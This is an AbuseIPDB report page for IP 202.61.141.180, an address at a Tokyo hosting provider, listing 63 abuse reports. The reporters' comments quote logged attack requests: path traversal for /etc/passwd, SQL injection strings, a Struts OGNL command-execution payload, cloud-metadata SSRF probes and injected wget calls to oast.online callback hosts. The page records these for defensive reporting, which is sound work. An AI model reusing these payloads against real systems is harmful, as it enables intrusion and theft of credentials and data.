JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 202.61.141.180

202.61.141.180

Neutral Activity

63 reports found in our database

0% Low Risk

Abuse confidence score ?

ISP

CTG Server Ltd.

Usage Type

Data Center/Web Hosting/Transit

ASN

AS152194

Domain Name

ctgserver.com

Country

🇯🇵 Japan

City

Tokyo, Tokyo

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

202.61.141.180 has been reported 63 times. The most recent report is from 8 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 202.61.141.180:

This IP address has been reported a total of 63 times from 27 distinct sources. 202.61.141.180 was first reported on March 23rd 2024, and the most recent report was 8 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2025-12-22 14:14:00 (8 months ago)	apache vulnerability scan	Web App Attack
🇳🇱 Linuxmalwarehuntingnl	2024-07-03 08:54:24 (2 years ago)	Unauthorized connection attempt	Brute-Force
🇳🇱 EGP Abuse Dept	2024-05-04 01:37:14 (2 years ago)	SQL injection attack	SQL Injection
🇫🇮 Christopher Hughes	2024-05-03 17:19:12 (2 years ago)	[Fri May 03 18:15:07.557537 2024] [ssl:error] [pid 1724438:tid 140685168584256] [client 202.61.141.1 ... show more [Fri May 03 18:15:07.557537 2024] [ssl:error] [pid 1724438:tid 140685168584256] [client 202.61.141.180:56372] AH02032: Hostname www.waterwaysworld.com provided via SNI and hostname alibaba.oast.pro provided via HTTP have no compatible SSL setup [Fri May 03 18:19:10.641470 2024] [ssl:error] [pid 1724439:tid 140685202155072] [client 202.61.141.180:34140] AH02032: Hostname www.waterwaysworld.com provided via SNI and hostname aws.oast.online provided via HTTP have no compatible SSL setup [Fri May 03 18:19:10.663273 2024] [ssl:error] [pid 1724439:tid 140686440351296] [client 202.61.141.180:34130] AH02032: Hostname www.waterwaysworld.com provided via SNI and hostname 169.254.169.254 provided via HTTP have no compatible SSL setup [Fri May 03 18:19:11.473784 2024] [ssl:error] [pid 1724439:tid 140686326220352] [client 202.61.141.180:34190] AH02032: Hostname www.waterwaysworld.com provided via SNI and hostname 169.254.169.254.nip.io provided via HTTP have no compatible SSL setup [Fri May 03 18:1 ... show less	Web App Attack
🇳🇱 EGP Abuse Dept	2024-05-02 03:48:35 (2 years ago)	SQL injection attack	SQL Injection
🇬🇧 openstrike.co.uk	2024-05-01 05:12:30 (2 years ago)	37 attacks on wget probes, Draytek CVE-2020-8515 URLs, PHP URLs, password grabbing URLs, SQL Injecti ... show more 37 attacks on wget probes, Draytek CVE-2020-8515 URLs, PHP URLs, password grabbing URLs, SQL Injections (type 1): GET /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o&ylabel&xrange=10:10&yrange=[33:system(%27wget%20http://con72ps9a2v9387ase4gh5q81mt3tmiss.oast.online%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 POST /cgi-bin/mainfunction.cgi HTTP/1.1 GET /settings.php HTTP/1.1 GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd HTTP/1.1 GET /?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1 HTTP/1.1 show less	Hacking SQL Injection Web App Attack IoT Targeted
🇳🇱 EGP Abuse Dept	2024-04-30 11:35:20 (2 years ago)	SQL injection attack	SQL Injection
🇬🇧 openstrike.co.uk	2024-04-30 05:12:35 (2 years ago)	140 attacks on PHP URLs, password grabbing URLs, VPN probes, SQL Injections (type 1), shell probes, ... show more 140 attacks on PHP URLs, password grabbing URLs, VPN probes, SQL Injections (type 1), shell probes, env grabbing URLs, wget probes: POST /index.php?option=comgmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1 GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 GET /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23 HTTP/1.1 POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1 GET /.env HTTP/1.1 GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://con72ps9a2v9387ase4gn4mx7g47tznm3.oast.online%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1 show less	Hacking SQL Injection Web App Attack
🇸🇪 maxxsense	2024-04-29 07:48:45 (2 years ago)	(apache-scanners) Failed apache-scanners trigger with match [redacted] from 202.61.141.180 (SG/Singa ... show more (apache-scanners) Failed apache-scanners trigger with match [redacted] from 202.61.141.180 (SG/Singapore/-) show less	Port Scan
🇬🇧 openstrike.co.uk	2024-04-29 05:12:24 (2 years ago)	121 attacks on password grabbing URLs, SQL Injections (type 1), Confluence URLs, PHP URLs, site down ... show more 121 attacks on password grabbing URLs, SQL Injections (type 1), Confluence URLs, PHP URLs, site downloads (type 2): GET /servlets/FetchFile?fileName=../../../etc/passwd HTTP/1.1 GET /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20md5(999999999)%20as%20id%20from%20HrmResourceManager HTTP/1.1 GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 GET /vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1 GET /install/ HTTP/1.1 show less	Hacking SQL Injection Web App Attack
🇵🇹 rncbc	2024-04-28 09:37:17 (2 years ago)	[Sun Apr 28 10:34:51.400875 2024] [ssl:error] [pid 1554] [client 202.61.141.180:40398] AH02032: Host ... show more [Sun Apr 28 10:34:51.400875 2024] [ssl:error] [pid 1554] [client 202.61.141.180:40398] AH02032: Hostname 79.169.193.195 provided via SNI and hostname www.bugas.org provided via HTTP have no compatible SSL setup [Sun Apr 28 10:34:58.644280 2024] [authz_core:error] [pid 1556] [client 202.61.141.180:51678] AH01630: client denied by server configuration: /srv/www/vhosts/rncbc/geoserver [Sun Apr 28 10:37:17.413563 2024] [authz_core:error] [pid 1690] [client 202.61.141.180:37464] AH01630: client denied by server configuration: /srv/www/vhosts/rncbc/tree ... show less	Brute-Force
🇺🇸 rsa	2024-04-26 18:41:00 (2 years ago)	GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1 GET /.../.../.../.../.../.../.../ ... show more GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1 GET /.../.../.../.../.../.../.../.../.../etc/passwd HTTP/1.1 show less	Hacking Brute-Force Web App Attack
🇫🇮 JimArchon72	2024-04-26 13:35:01 (2 years ago)	2024/04/26 13:31:27 "GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1"	Web App Attack
🇵🇹 rncbc	2024-04-26 05:27:48 (2 years ago)	[Fri Apr 26 06:27:46.905286 2024] [authz_core:error] [pid 18811] [client 202.61.141.180:45396] AH016 ... show more [Fri Apr 26 06:27:46.905286 2024] [authz_core:error] [pid 18811] [client 202.61.141.180:45396] AH01630: client denied by server configuration: /srv/www/vhosts/rncbc/backup [Fri Apr 26 06:27:46.909265 2024] [authz_core:error] [pid 19687] [client 202.61.141.180:45426] AH01630: client denied by server configuration: /srv/www/vhosts/rncbc/install [Fri Apr 26 06:27:46.911478 2024] [authz_core:error] [pid 19462] [client 202.61.141.180:45368] AH01630: client denied by server configuration: /srv/www/vhosts/rncbc/tool ... show less	Brute-Force
Anonymous	2024-04-25 07:17:00 (2 years ago)	/../../../etc/passwd , sleep(), etc....	Hacking Brute-Force Web App Attack

Showing 1 to 15 of 63 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇬🇧 2a06:4880:8000::9f

🇬🇧 194.32.120.170

🇫🇮 193.32.204.199

🇨🇴 190.60.62.138

🇧🇷 177.86.126.186

🇰🇷 211.105.129.57

🇮🇳 203.115.98.138

🇳🇱 195.178.110.228

🇵🇱 194.180.48.205

🇺🇸 147.185.132.37

🇸🇬 114.119.129.158

🇺🇸 103.143.231.24

🇳🇱 91.92.42.72

🇵🇰 72.255.18.244

🇨🇳 1.182.24.10

🇩🇪 141.95.54.130

🇩🇪 136.243.220.212

🇮🇳 106.212.138.123

🇺🇸 103.203.57.13

🇷🇺 89.108.84.141